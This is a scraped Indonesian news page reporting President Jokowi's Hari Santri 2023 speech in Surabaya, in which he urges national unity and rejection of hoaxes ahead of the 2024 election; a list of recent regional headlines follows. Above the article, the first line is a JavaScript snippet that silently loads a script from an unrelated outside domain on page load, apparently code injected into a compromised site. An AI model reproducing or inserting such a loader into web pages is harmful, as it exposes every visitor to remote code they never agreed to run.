(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
NASIONAL

Pimpin Apel Hari Santri, Jokowi Titip Pemilu 2024 Dijaga Bersama


KANALKALIMANTAN.COM, SURABAYA – Presiden Joko Widodo (Jokowi) menekankan pentingnya menjaga persatuan terutama di tahun politik menghadapi Pemilu 2024. Jokowi meminta semua pihak untuk tidak menolak fitnah, hoaks, dan saling menjelekkan selama berlangsungnya Pemilu 2024.

“Pemilu 2024 harus kita jaga bersama dan pastikan berjalan lancar untuk memastikan keberlanjutan pembangunan. Kita tolak fitnah, hoaks dan saling merendahkan serta saling menjelekkan. Kita lawan upaya-upaya yang memecah bangsa,” ujar Jokowi dalam sambutan saat memimpin apel upacara Hari Santri 2023 di Lapangan Tugu Pahlawan Surabaya, Jawa Timur, Minggu (22/10/2023).

Menurut Jokowi, Pemilu adalah ajang kontestasi gagasan dan ide. Hal yang biasa dan wajar menurutnya jika berbeda pilihan.

Baca juga: Hari Santri 2023, Presiden: 36 Ribu Pesantren Jadi Kekuatan Besar Penentu Masa Depan Bangsa

“Kita boleh berbeda pilihan dan itu biasa dan wajar tetapi jangan sampai mengoyak persatuan kita,” lanjutnya.

Jokowi lalu mengenang awal adanya Hari Santri. Dikisahkan Presiden, hal itu bermula dari kunjungannya ke salah satu pesantren di Malang-Jawa Timur sebelum menjabat sebagai Kepala Negara. Saat itu, ada usulan dari para kiai dan santri untuk memutuskan adanya Hari Santri.

“Saat itu saya belum Presiden. Setelah terpilih jadi Presiden, permohonan yang saya ingat dari pesantren di Malang, kita kaji dan tindaklanjuti. Lalu kita putuskan adanya Hari Santri lewat Keputusan Presiden No 22 tahun 2015. Sejak itu kita punya Hari Santri,” tutur Presiden.

Baca juga: Hari Santri 2023, Presiden: 36 Ribu Pesantren Jadi Kekuatan Besar Penentu Masa Depan Bangsa

Dijelaskan presiden, 22 Oktober ditetapkan sebagai Hari Santri, merujuk pada seruan Resolusi Jihad dari Hadratusy-Syaikh Romo Kyai Haji Hasyim Asy’ari. Resolusi itu antara lain menegaskan bahwa melawan penjajah itu wajib, fardu ain, dan meninggal berperang melawan musuh itu hukumnya mati syahid. (Kanalkalimantan/Beritasatu.com/kk)

Editor : kk


Risa

Recent Posts

Sekda HSU Sampaikan Raperda Pertanggungjawaban Pelaksanaan APBD 2023, Ini Angka Detailnya

KANALKALIMANTAN.COM, AMUNTAI - Sekretaris Daerah (Sekda) Hulu Sungai Utara (HSU) Adi Lesmana menyebut capaian target… Read More

1 jam ago

Permudah Kebutuhan Transaksi Jemaah Haji di Tanah Suci dengan BRImo

KANALKALIMANTAN.COM- Ibadah haji merupakan salah satu impian bagi umat Islam di seluruh dunia. Agar ibadah… Read More

2 jam ago

Bawaslu Banjarbaru Seleksi Panwascam Hanya di Empat Kecamatan

KANALKALIMANTAN.COM, BANJARBARU - Badan Pengawas Pemilihan Umum (Bawaslu) Kota Banjarbaru tengah merekrut Panitia Pengawas Kecamatan… Read More

2 jam ago

Pemko Banjarbaru Bentuk Tim Desk Pilkada 2024

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru Provinsi Kalimantan Selatan (Kalsel) membentuk Tim Desk Pilkada… Read More

3 jam ago

Jelang Pilkada 2024, KPU HSU Melantik 50 Anggota PPK

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) resmi melantik 50… Read More

5 jam ago

Pipa Bocor, Suplai Air Bersih di Banjarmasin Barat dan Tengah Terhenti

KANALKALIMANTAN.COM, BANJARMASIN - Pipa distribusi air bersih milik Perusahaan Air Minum (PAM) Bandarmasih di wilayah… Read More

6 jam ago

This website uses cookies.